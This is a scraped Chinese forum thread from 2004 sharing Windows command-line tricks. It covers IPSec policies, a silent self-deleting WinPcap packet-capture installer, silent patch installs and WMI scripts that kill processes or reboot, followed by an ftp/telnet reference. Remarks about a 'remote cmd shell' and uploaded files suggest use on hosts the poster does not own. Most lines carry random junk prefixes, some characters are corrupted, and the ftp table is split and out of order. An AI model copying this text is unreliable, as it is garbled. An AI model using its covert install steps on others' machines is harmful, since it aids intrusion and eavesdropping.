  F9 X. A6 _0 y# t4 QTask Scheduler 服务正在启动 ..
$ W# U! @; b8 J: M( xTask Scheduler 服务已经启动成功。
& B1 D& B! }4 r2 T, D' k
c:\>time /t
4 F  f8 D3 _7 o+ B12:34

. F5 Z, H1 |7 a5 ~$ Ac:\>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业，其作业 ID = 1
! @* c! m& P6 B) ?8 o
然后，你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。
4 z9 f7 Q  \6 Y% w" f如果测试结果不理想，就删除该策略。

' x- A$ I  m! v  Lc:\>ipsecpol -p myfw -o -w reg

注意，删除策略前必须先确保它已停止。不停止它的话，即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间，默认是180分钟。

6 S9 I; [: e5 @% W! [, I7 e2 |& _如果测试通过，那么就启用它。

c:\>ipsecpol -p myfw -x -w reg

2 F; F0 ?) W$ r4 B6 U$ S& a7 T最后说一下查看IPSec策略的办法。
对于XP很简单，一条命令搞定——ipseccmd show filters
7 Y  i1 A6 X, ?  w/ p) f2 @4 L而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。（已经上传了三个文件，也就不在乎多一个了。）

; u: M/ P" ?$ o( @& b, Bnetdiag需要RemoteRegistry服务的支持。所以先启动该服务：

. e9 r& n# a/ Q+ Q6 Z( Q* a" Enet start remoteregistry

# `: I. B' E  ~不启动RemoteRegistry就会得到一个错误：

[FATAL] Failed to get system information of this machine.

netdiag这个工具功能十分强大，与网络有关的信息都可以获取！不过，输出的信息有时过于详细，超过命令行控制台cmd.exe的输出缓存，而不是每个远程cmd shell都可以用more命令来分页的。
+ x  J4 j6 h- ~- _5 t* A
3 n, x9 k! a' |8 K; o5 a1 j查看ipsec策略的命令是：
netdiag /debug /test:ipsec
- v1 n3 t: S+ A& Y0 ?; H% U- k( [$ o
7 H2 l! L9 F( x0 x+ o& M7 ?4 f然后是一长串输出信息。IPSec策略位于最后。
4 @: G- c1 d* n8 g$ G% z0 E) D

软件安装
5 c0 ^# o' o3 H/ z/ ?一个软件/工具的安装过程，一般来说只是做两件事：拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容，那么就可以自己在命令行下实现了。（不考虑安装后需要注册激活等情况）
  B# R7 |9 J, D9 W0 J& E6 `
: \* ?6 b0 i; L* AWinPcap是个很常用的工具，但必须在窗口界面下安装。在网上也可以找到不用GUI的版本（但还是有版权页），其实我们完全可以自己做一个。
# H- y6 z! ~' h! d8 d& X* H2 g# Y: W( F
6 Z8 g4 Q/ j5 g以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照，很容易了解整个安装过程。
- ^9 y/ h" P1 a# n除去反安装的部分，关键的文件有三个：wpcap.dll，packet.dll和npf.sys。前面两个文件位于system32目录下，第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意，是系统服务（即驱动）不是Win32服务。

作为系统服务，不但要在HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services下增加主键，在HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是，并不需要手动添加 它，winpcap被调用时会自动搞定。甚至完全不用手动修改注册表，所有的事winpcap都会自己完成，只需要将三个文件复制到合适的位置就行了。
% `) N4 s1 f+ F) G5 I
作为范例，还是演示一下如何修改注册表：利用前面说过的inf文件来实现。
% Y4 X/ [' g% u* }5 o; _. |/ x& ?5 d
8 A  K" w$ z7 |$ c8 y[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
2 r* a& J( J$ g' N4 w/ J) U+ `AddService=NPF,,winpcap_svr
[winpcap_svr]
( e# D- {& l" O, y3 WDisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
1 r& J5 P+ o/ _& a' ]9 jErrorControl=1
) [5 G8 x( |9 M# }% MServiceBinary=%12%\npf.sys

将上面这些内容保存为_wpcap_.inf文件。
& i7 I( S# a6 h8 N再写一个批处理_wpcap_.bat：

$ E% I+ `' P* c  K1 D4 {rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
7 s; q. C" q3 p% ]: Vcopy packet.dll %SYSTEMROOT%\system32\
/ R5 E, H, `% E9 [3 D; Scopy wpcap.dll %SYSTEMROOT%\system32\
( q- K7 N+ t0 H# ~del packet.dll
# |0 Y$ ]' W  e& R7 ]  W/ X" udel wpcap.dll
2 x+ U3 h3 x& G: y3 ^:COPYDRV
9 f  Z6 C0 o  E6 \if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
! _' F1 A0 t$ V2 B3 M5 B6 {9 P' \del npf.sys
:END
& S$ _2 n/ P( R$ K: \9 X+ Qdel %0
+ h! V5 K1 V. J6 W1 g% C
然后用winrar将所有文件（5个）打包为自解压的exe，并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat，命令行的winpcap安装包就制作完成了。
5 u: ]2 N" P9 J, T3 t2 ~# a
+ x& `4 F3 b8 {) q9 o+ x& F注意，批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。

所有的软件安装，基本上可以套用这个思路。但也有例外的，那就是系统补丁的安装。
由于系统补丁有可能要?*徽?诒恢葱谢蚍梦实奈募???杂胏opy命令是不行的。
2 y) k* e9 K# S- K/ j' n% W3 Y幸好，Windows补丁包支持命令行安装。
" U2 L. I/ E2 {, L2 j' @比如：

3 }- c+ w& i; B$ ~KB824146.exe -n -z -q

-n 不保留备份
1 L! P; f( {* r0 q-z 不重起
/ \$ j& c7 q6 s9 g- l2 I$ ^-q 安静模式

- |/ z+ D' D+ y如果有一堆补丁要打，那么用RAR打包成自解压文件，外加一个批处理。

for %%f in (KB??????.exe) do %%f -n -z -q
$ b/ @4 N( B3 B  {0 S1 o# Sfor %%f in (KB??????.exe) do del %%f
) b+ w9 j+ g/ J' m; ndel %0


Windows脚本
3 J1 U4 S: ?" G/ Y* O, ^很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。
1 f- c$ \# r8 B; \) h' @
1，显示系统版本
5 r* y$ I1 v6 N1 ]2 [4 a& T
" D) ^4 g1 ]: O6 s+ [  C' H@echo for each ps in getobject _ >ps.vbs
( A) U0 h( r7 N/ D! j@echo (“winmgmts:\\.\root\cimv2:win32_operatingsystem”).instances_ >>ps.vbs
* f5 G3 ?7 d1 W- V@echo wscript.echo ps.caption^&” “^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

* @; y, ?. v3 j3 r$ _' Z$ @: n! j2，列举进程
7 o9 d1 X( r, Y3 Q5 R
@echo for each ps in getobject _ >ps.vbs
# B5 L# I8 U- n@echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>ps.vbs
4 R; |# O+ a! S" o/ _@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

+ f+ D- q+ [" L/ @+ l" @# h3，终止进程

@echo for each ps in getobject _ >pk.vbs
. m- d, M! s: @@echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs

! Y7 r- W' T" l3 Y$ t要终止PID为123的进程，使用如下语法：
0 p& G8 G" c! ]6 O3 kcscript pk.vbs 123

如果显示一个0，表示终止成功。
& ?5 y/ O- [, ]
然后：
( V6 E; G/ r; {6 E: Bdel pk.vbs

4，重启系统

@echo for each os in getobject _ >rb.vbs
8 I- f3 y7 Y5 J1 C$ `1 f& n@echo (“winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem”).instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
9 }1 R2 c4 B& s$ X; v6 Z
4 g5 q& f6 t* G) J% d5，列举自启动的服务
3 o. h/ P( L& q. N1 O. d
@echo for each sc in getobject(“winmgmts:\\.\root\cimv2:win32_service”).instances_ >sc.vbs
@echo if sc.startmode=”Auto” then wscript.echo sc.name^&” – “^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
) j( T, w" ^/ Q) r
* t0 V( f+ A( [6，列举正在运行的服务
- K8 c" J( ?+ w5 L4 a0 X
@echo for each sc in getobject(“winmgmts:\\.\root\cimv2:win32_service”).instances_ >sc.vbs
! q! e: v# w7 X; `2 U  t5 j' l' U/ W@echo if sc.state=”Running” then wscript.echo sc.name^&” – “^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
0 |$ u: P3 `( y( o6 a
9 }9 F4 k6 j% I* v7，显示系统最后一次启动的时间
& r; Z! {6 [+ Z( j) b
@echo for each os in getobject _ >bt.vbs
, f8 f( o0 t. {, g7 z@echo (“winmgmts:\\.\root\cimv2:win32_operatingsystem”).instances_ >>bt.vbs
/ d4 M4 a3 C  k( h3 ~  j# {1 ?5 Y@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs

显示结果的格式是：
yyyymmddHHMMSS******ZZZZ
_年_月日时分秒_微秒_时区
! [9 W8 S' R; J- E3 y
8，显示系统运行时间

@echo for each os in getobject _ >rt.vbs
@echo (“winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system”).instances_ >>rt.vbs
  q2 F& x: ^* i  W* y@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
5 b6 Q) r2 U% ~* x, ~" A@echo t=t^&mid(s,i,1)=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint?^&”d “^&t\3600^&”h “^&t\60 mod 60^&”m “^&t mod 60^&”s”:next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs
8 D1 d. b: |: s, M9 M
9 }7 h3 t# c9 f/ r0 h这个运行时间是从性能计数器中获得的64位整型数，不会出现在49.7天后溢出的情况。
+ a* a8 a0 e5 p: O% u) B* ?; O
附言
cmd shell博大精深，本文挂一漏万讲了一些常用技巧，希望对各位有所帮助。
) E: N: k; T% N2 u% c  F* E, R
也许你早知道了这些方法，也许你有更好的方法，希望你能写出来和大家分享
zyza
' z4 W5 _, \* O( a* N
核心成员

: V: j; h! T  G, U  j1 U2 |) B1 d积分：836
贴数：997
# Y1 Y( r2 n+ L% d. U, T" c8 z经验：1
日期: 2004-5-9 17:06:03
——————————————————————————–

3 R& b7 q4 c" y: E难得一见的好文章
2 [8 G4 h+ \  G; S* X# @xlen

, a0 n$ A! f: F$ U. X, v% k- w
积分：455
贴数：133
: w: u, B* [+ }, J0 W. i经验：1
! A7 R* f; e* I8 Z1 G- \5 q日期: 2004-5-10 10:50:50
——————————————————————————–
  d1 @' u9 T; ~+ ^" o
" a9 D$ s, \- H
的确是好贴啊！

6 K  o5 z2 t3 {5 i+ T- U3 V$ o支持！
yu736146

; n- Z% Z+ P5 m3 W* I8 e: L
( l9 T- l8 e) Y, r) ?, G6 y% m2 \+ H" {积分：0
贴数：1
经验：1
日期: 2004-5-10 19:07:00
6 U! e1 C" R  e: A% c9 ~2 E——————————————————————————–

显示系统运行时间
: M$ `. a2 e& g& \# _0 r" p
/ t/ Q5 g2 F/ @@echo for each os in getobject _ >rt.vbs
/ m" Q4 r& W7 D2 c- D@echo (“winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system”).instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
0 n# d2 G0 l8 `@echo t=t^&mid(s,i,1)=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint?^&”d “^&t\3600^&”h “^&t\60 mod 60^&”m “^&t mod 60^&”s”:next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs
0 {1 g  f* t3 j7 f
1 m2 {9 G3 b7 H% W% r! ~, w" a2 a中间的表情是什么？
- F) b7 f5 @5 c9 p4 N/ R
4 J! S* H: g3 \2 y8 `& P2 u

8 v5 {7 n# k3 P
telnet/ftp命令一詳細介紹
" g6 W4 p7 e+ [3 ^
' h; e7 N7 a0 w- ~4 K——————————————————————————–
  u4 }, b4 b0 x' ^# P5 j/ v
文章来源:( 原创 )　　阅读: 32 次　发布日期:2004-4-16 14:35:16


# a8 U& g, Y* A1 H% A
作用：将文件传送到正在运行 FTP 服务的远程计算机或从正在运行 FTP 服务的远程计算机传送文件（有时称作 daemon）。Ftp 可以交互使用。

用法：
. W+ U4 O( g& g8 d: q
（1）直接进入FTP以命令行的方式交互执行。执行后显示为FTP>。
: x3 V, L7 E; O. l（2）ftp [-v] [-n] [-i] [-d] [-g] [-s:filename] [-a] [-w:windowsize] [computer]
参数说明：
-v 禁止显示远程服务器响应。
-n 禁止自动登录到初始连接。
-i 多个文件传送时关闭交互提示。
-d 启用调试、显示在客户端和服务器之间传递的所有 ftp 命令。
-g 禁用文件名组，它允许在本地文件和路径名中使用通配符字符（* 和 ?）。
-s: filename 指定包含 ftp 命令的文本文件；当 ftp 启动后，这些命令将自动运行。该参数中不允许有空格。使用该开关而不是重定向 (>)。
8 K- L# [0 {( X, K( f# P
-a 在捆绑数据连接时使用任何本地接口。
-w:windowsize 替代默认大小为 4096 的传送缓冲区。
) C/ _9 H; r( JComputer 指定要连接到远程计算机的计算机名或 IP 地址。如果指定，计算机必须是行的最后一个参数。

3 c+ L- y5 ?/ I$ q3 l) o) q/ w5 P命令一览表：
4 O" h9 f0 o" m* e" ~命令
/ i7 s( T6 h3 R2 @% \4 e6 j" R描述
！
! o+ ?% `: Q! j$ F$ r$ H从 ftp 子系统退出到外壳
？
显示 ftp 命令说明
6 Q. z, {" R7 f/ r# ?' ~8 j# A
1 m' a. h# s) O3 S/ y+ ^* P9 fappend local-file [remote-file]
: t$ m. R* ~* J+ S6 y1 J: \使用当前文件类型设置将本地文件附加到远程计算机上的文件。

' h' @$ y- d7 |- e7 o. g7 gascii
  _4 b( @1 u& O" o& i将文件传送类型设置为默认的 ASCII
6 I( l/ M$ h) Y$ J3 m! d0 Z+ O. e
Bell
mls remote-files [ …] local-file
# \* i( n7 D, V+ b6 Q显示远程目录文件和子目录的缩写列表
$ S* |* T( k& ~  q
mput local-files [ …]
使用当前文件传送类型将本地文件复制到远程计算机上

open computer [port]
5 N, m1 P; \7 H与指定的 FTP 服务器连接

7 y6 W5 r3 \0 m, B* Cprompt
切换提示。如果关闭提示时 mget 及 mput 传送所有文件，Ftp 在多文件传送过程中将提示允许您有选择地检索或存储文件。默认情况下，提示是打开的

put local-file [remote-file]
1 O' q! q2 F0 r1 y, Z0 H$ n4 [6 D使用当前文件传送类型将本地文件复制到远程计算机上
1 E5 S6 Y1 X2 F0 }# i& C
  k# K, u) v! [, ^) Y3 ]pwd
显示远程计算机上的当前目录
: r3 r" q6 H1 k1 u* `; C
quit
( m! _; f6 l: g4 l" s7 i结束与远程计算机的 FTP 会话并退出 ftp

  D) p0 G" z7 D8 Dquote argument [ …]
将参数逐字发送到远程 FTP 服务器。将返回单个的 FTP 回复代码。Quote 与 literal 相同

recv remote-file [local-file]
使用当前文件传送类型将远程文件复制到本地计算机。Recv 与 get 相同

) F4 d% e8 h; D# s. l0 F; Sremotehelp [command]
' H+ x9 `6 y4 k9 r; f显示远程命令帮助
! {; R2 X9 l% \9 ]
+ d" ?) _, c8 |6 R; {& nrename filename newfilename
重命名远程文件
+ T0 l+ @* B& Z4 s! p
rmdir directory
删除远程目录

0 X: [: g. ^! u5 @* {send local-file [remote-file]
使用当前文件传送类型将本地文件复制到远程计算机上。Send 与 put 相同

status
1 K" x, r% |3 p0 v% h显示 FTP 连接和切换的当前状态

trace
- Z8 M- t8 G$ A/ u) [/ o
" m" ~, J! K' |; J切换数据包跟踪。Trace 在运行 ftp 命令时显示每个数据包的路由

( t' d! J- U: I9 G2 n8 o& x/ w2 n. itype [type-name]
设置或显示文件传送类型

* t- i9 }0 z( quser username [password] [account]
! V0 l. O+ s0 \/ x  k7 C. N指定远程计算机的用户

verbose

* G" G$ A) ~3 K0 M+ x. X5 t切换 verbose 模式。如果打开，将显示所有 ftp 响应。在文件传送完成后，将同时显示与传送效率有关的统计信息。默认情况下，verbose 是打开的

0 z: e% k! y! f6 k9 l示例：
8 d% H3 j: I# U" R4 H+ B! c
$ O2 H' o9 h- r% V, s4 A% V（1）用交互式方法以用户guest和密码1234登录到ftp服务器ftp.server.com的download目录中下载文件test.zip文件。
8 W5 d+ `% d* C0 g" y
# j  ~/ i9 m9 j, g0 eC:\>ftp
5 ]; ~9 U! f; L# q6 C% E4 S
8 X. H9 ?' v% j% G2 Q# R0 Zftp>open ftp.server.com
5 [- y0 _" }) [  q  C& W: k7 L
1 h) V  X. W5 o1 {4 @+ p. xConnected to ftp.server.com.
$ a. p$ E1 t: O  W2 }, L" v
$ I4 x8 i; x. X& s* m% _220 FTP Server (ftp.server.com)  ready!
' e. A3 [/ s  r; c# \9 l2 Z* S
9 V% y- B# n  o( S+ mUser (ftp.server.com.(none))：guest <-输入用户名
# K5 f8 j9 V1 ?, w( Q- q
6 Y8 r5 H* Q/ @' d$ a! l8 zPassword: <-输入密码

, X. ~& e, N2 k4 B$ P' j* [230 User guest logged in.

ftp>cd download <-进入download目录
4 L7 U* m8 ~! M4 b: {. n2 m4 f2 n" I0 [  B
: G/ u) t9 v. D+ P250 CWD command successful.

ftp>bina <-设置传输二进制文件模式

200 Type set to I.
* Z9 Z/ F5 x2 n# f2 c
ftp>get test.zip <-下载文件
+ F  d( D  S2 l+ V
3 ?1 c7 o0 A6 J3 V) `200 PORT command successful.
  D. z* m/ _8 K4 a/ `8 \! {$ O3 z
3 H8 ~- a: I& [: a6 v+ n" s150 Opening BINARY mode data connection for test.zip (5277 bytes).
4 k6 j" e8 A* C: A+ [
226 Transfer complete.

ftp: 5277 bytes received in 2.4 Seconds 1Kbytes/sec.
5 [+ C: u8 C8 p
% \& B3 c4 G. v# d9 p4 g7 Mftp>close <-关闭连接

0 w& ^3 u6 I# G; ]- q' T; |221
  d6 u6 D* ~) t: Z
ftp>quit <-退出Shell
( h/ V/ R$ a0 n0 x
8 A7 s, c3 ~" S5 B- w$ Z/ gC:\>
/ j  n1 q' o2 f  L
（2）用命令行方式自动完成（1）中的下载任务。
$ z2 R2 q1 V: O/ \( `5 F9 N
, E3 y; h: R( e3 n建立文件：autodown.txt

user guest

1234
0 @: |( V1 @. B
cd download
9 Q9 G3 `& |) c' p! [7 t& s1 f
bina

get test.zip
+ F3 m, X$ E+ W1 V$ v% z
close

quit

执行命令：ftp -n -s: autodown.txt ftp.server.com
) e0 n. t1 l- q2 a& a9 y
8 f9 H, r8 z$ y1 I2 n% m6 C5 W6 G说明：不少服务器支持匿名方式登录，就是说用户名为anonymous，密码为任意一个Email地址即可，但大多匿名用户只能下传文件，不具有上传文件的权限。

8、功能强大的远程管理工具－TELNET.EXE
7 Q  t" t7 n& Y
作用：可以使用Telnet 客户以连接到运行有Telnet 服务器软件的远程计算机上。一旦连接之后，就可以与 Telnet 服务器通讯。执行的会话类型取决于Telnet 软件的配置。通讯、游戏、系统管理和本地登录模拟是Telnet 使用的几种典型类型。
# c8 l8 O. Q  J/ F
: m* j* W6 b6 J4 v+ P6 ~执行：开始->运行->Telnet，即进入Telnet的主窗口，这时可从主菜单的“终端”->“首选”项里对Telnet进行必要的设置，比如，本地响应、光标属性、字体属性等等。

1 T& E4 z. }$ ]3 F- |# j+ c" s使用：设置完毕后，从主菜单里选“连接”->“远程系统”项，即进入登录窗口，填入主机名和端口号，点“连接”按钮即可。

说明：不管登录的是什么远程系统，建立连接后，一般都要先输入用户名和密码才能够访问远程系统，具体登录系统后如何操作，这要视对方服务器的设置而定，一般而言，登录到Windows NT和Unix/Linux系统后就可以执行你权限范围内的所有控制台程序，注意，别执行那些有图形界面的程序，因为Telnet只支持字符界面。 Telnet能做很多种事情，比如：远程管理、电子公告板bbs、mud游戏、收发Email、上传下载文件和下载网页等。
  V& D; D& u, F% J# U; q
2 I) F: I( E- U7 D( i+ x, C1 O示例：

4 ?4 m' C- i4 o（1）远程重启Linux服务器

( ~6 y$ `) H2 L先以用户名guest和密码1234登录到Linux Telnet服务器www. server.com，然后用密码hello123转换成root，执行重新启动远程主机后退出。
6 o' V- \% |7 a5 e9 x
主机名www.server.com 端口：23
; A( H. o% {) f5 q# N1 H: y
Red Hat Linux 6.2
7 Y8 X; i7 t( h! {
& x; e& m- g, Q3 J% f8 p* GKernel 2.2.12-16 on an i686

+ C3 h3 O0 o" A  j7 D8 ULogin：guest <- 输入用户名

4 q6 U4 Y0 @6 J" bpassword：<- 输入密码
8 k9 g6 O, r$ C1 \5 \% N& ?
9 g$ _/ l6 l# @  `[guest@ server guest]$su hello123 <-转换成root用户
4 k7 [# T: K3 U; C
, m5 ^3 n" v  o" X% p[root@server root]reboot <-重新启动服务器
1 S5 Q+ c3 m5 ~: L) v) V/ x3 J) s
/ Q% j2 G& e; A8 P说明：在unix和linux系统中默认是不允许管理员root直接用telnet登录到系统的，需要先以一个普通用户的身份登录，然后用su命令转换成root用户。而在windows nt/2000系统中，管理员Administrator是可以直接登录的。

7 V( m8 N, e. H* D1 n（2）下载网站的首页文件

: t1 Q3 L' m9 v  ^主机名www.server.com 端口：80

GET / HTTP/1.0 回车2次
0 d0 B3 }* L8 L, a1 Q
$ f( O* n' c, j: i. n8 Q1 O( r说明：注意输入的字符要用大写。查看接收的文本可以看出web server的类型，如：IIS 5.0、Apache 1.3.22等。
（3）参加电子公告板BBS
. p7 r" I3 ~' g- o主机名：smth.net 端口：23
, s+ _; }2 U$ ]7 o% y8 O- q说明：水木清华站，国内最棒的BBS站点，登入后按照提示操作。
' {+ l& C8 h: M7 c9 e（4）玩mud游戏
2 _8 q- H# E5 V- y* Q& i主机名：202.102.249.26 端口：3333
说明：风云mud游戏，很好玩，登入后按照提示操作。
（5）收Email信件
3 I8 S0 h+ r' ?假定你www.163.net 的信箱为： badboy@163.net 密码为12345
! ]$ g. D! N+ c主机名www.163.net 端口：110
user badboy  <-输入用户名
+ o, d. o4 I+ u* UOK!
0 {9 J3 M% a) J! e. n) s" Z* h# L2 kpass 12345  <-输入密码
/ u' F& {; I" m1 o3 _; o3 POK!
; ?3 ~7 @5 H" y; dSTAT <-看有多少封信
28
' W: N7 |) q$ [" \! OLIST <-看一下存信的文件
1
2
+ `7 N$ ?" j3 q3
….
0 K3 _0 E' k. }' D28 <- 信的列表
5 \- G9 v$ S6 H. _3 p# bRETR 4 <-看看第4封信
这里是第4封信的内容！！！
DELE 7 <-删除第7封
OK!
* ]3 L; c% n5 H$ E0 X* zQUIT <-退出
. F- g! d# W  D2 s' E; f


! J+ G$ a' k# ]: t切换响铃以在每个文件传送命令完成后响铃。默认情况下，铃声是关闭的

6 ^. z4 p: Y9 gbinary
2 C5 X6 g0 U; H  a将文件传送类型设置为二进制
  z9 L# I0 s3 h6 b& q- }
. V( T' x& @2 ]bye
! Q: Q' X) U. C6 o! a- @% E/ [: c结束与远程计算机的 FTP 会话并退出 ftp

cd remote-directory
更改远程计算机上的工作目录
/ I4 ]* k2 M: y1 j
# T' ?3 _! @+ C+ k2 pclose

结束与远程服务器的 FTP 会话并返回命令解释程序
! ^3 I8 Q) E( r3 F3 K
debug
/ G6 |0 j: J1 X- T% F
切换调试。当调试打开时，发送到远程计算机的每个命令都打印，前面是字符串“>”。默认情况下，调试是关闭的

delete remote-file
0 k+ f" I0 p0 `删除远程计算机上的文件

dir [remote-directory] [local-file]
$ X* u( z$ i4 e- ]7 j, x6 B/ A. {显示远程目录文件和子目录列表
: B% v& a( a, R4 M9 R
disconnect
+ |/ z" S8 \$ d) t从远程计算机断开，保留 ftp 提示

get remote-file [local-file]
7 p7 v7 v  \7 e* P8 p: X" A使用当前文件转换类型将远程文件复制到本地计算机
% V) q( I4 M5 ^2 x2 `
8 ^% n, G. n" s( h9 f9 yglob
切换文件名组合。组合允许在内部文件或路径名中使用通配符（* 和 ?）。默认情况下，组合是打开的
8 e$ ]( t( O- d. q& Q
hash
8 h  b* w4 |: u2 N
* i& G0 v/ ^* Y& N! v切换已传输的每个数据块的数字签名 (#) 打印。数据块的大小是 2048 字节。默认情况下，散列符号打印是关闭的

help [command]
显示 ftp 命令说明

8 k0 k/ |' H9 P5 ]# L! y8 Llcd [directory]
% }, @* `$ \) U6 A; H. l1 @更改本地计算机上的工作目录。默认情况下，工作目录是启动 ftp 的目录

& R, ]/ ]- O/ S8 n# _+ `8 Yliteral argument [ …]
5 Q: z* \7 }8 h: R1 u5 j& G将参数逐字发送到远程 FTP 服务器。将返回单个的 FTP 回复代码

$ `6 Q) C% J2 z/ s, Gls [remote-directory] [local-file]
7 r4 L# K- S1 R1 i显示远程目录文件和子目录的缩写列表

mdelete remote-files [ …]
4 B; n. j% T# t' s删除远程计算机上的文件
8 C6 A6 d  n' ^" u8 z6 Z# l: p
3 p% Q! I$ w9 S7 f7 f0 Z* kmdir remote-files [ …] local-file
显示远程目录文件和子目录列表。可以使用 mdir 指定多个文件

mget remote-files [ …]
使用当前文件传送类型将远程文件复制到本地计算机

, ]8 N$ F; }$ w, t: m" mmkdir directory
创建远程目录

; T2 k& [4 L4 r& ]7 \" m

啥也不说了，楼主就是给力！

啥也不说了，楼主就是给力

果断回帖，如果沉了就是我弄沉的很有成就感

不错，又占了一个沙发！